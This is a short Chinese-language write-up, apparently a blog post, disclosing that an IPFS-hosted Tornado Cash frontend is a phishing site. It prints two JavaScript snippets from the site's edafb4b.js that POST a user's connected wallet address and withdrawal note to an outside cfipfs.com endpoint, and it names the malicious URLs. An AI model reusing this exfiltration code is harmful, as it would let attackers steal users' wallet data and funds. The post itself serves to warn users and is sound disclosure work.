發現過程:#
今天在學習 tornado 協議,所以通過搜索引擎查找可用的取款前端,然後就發現了 https://ipfs.io/ipns/tornadocash-ipfs.eth/ 這個很「去中心化」的前端。
網站看起來很規範,但是當我查看網絡請求後,發現這個網頁的 js 有異常行為,前端會上報用戶非常敏感的數據。
分析:#
在 chrome 中全局搜索代碼中的上報地址 bafybeiebdyj3wuyrn32rzeq3aldsfyjsefqnmetdapjgljczkkgrizkuk4 [.] cfipfs [.] com/v1,發現了非常多上報代碼,會上報從用戶連接錢包,提款筆記到提款地址到全流程敏感數據。
惡意代碼存放在 edafb4b.js 中,https://ipfs.io/ipns/tornadocash-ipfs.eth/_nuxt/edafb4b.js
部分上報代碼如下:
(1 上報連接的錢包地址
{
fetch("https://bafybeiebdyj3wuyrn32rzeq3aldsfyjsefqnmetdapjgljczkkgrizkuk4.cfipfs.com/v1/", {
headers: {
"content-type": "application/json; charset=UTF-8"
},
body: '{"connectedwallet": "'.concat(t, '"}'),
method: "POST"
}).then((function() {}
))
}
(2 上報用戶生成的取款筆記
((function() {
this.prefix,
this.note;
fetch("https://bafybeiebdyj3wuyrn32rzeq3aldsfyjsefqnmetdapjgljczkkgrizkuk4.cfipfs.com/v1", {
headers: {
"content-type": "application/json; charset=UTF-8"
},
body: '{"newdepositnote": "'.concat(this.prefix, "-").concat(this.note, '"}'),
method: "POST"
}).then((function() {}
))
}
)),
結論#
tornadocash-ipfs.eth 這個前端是釣魚網站。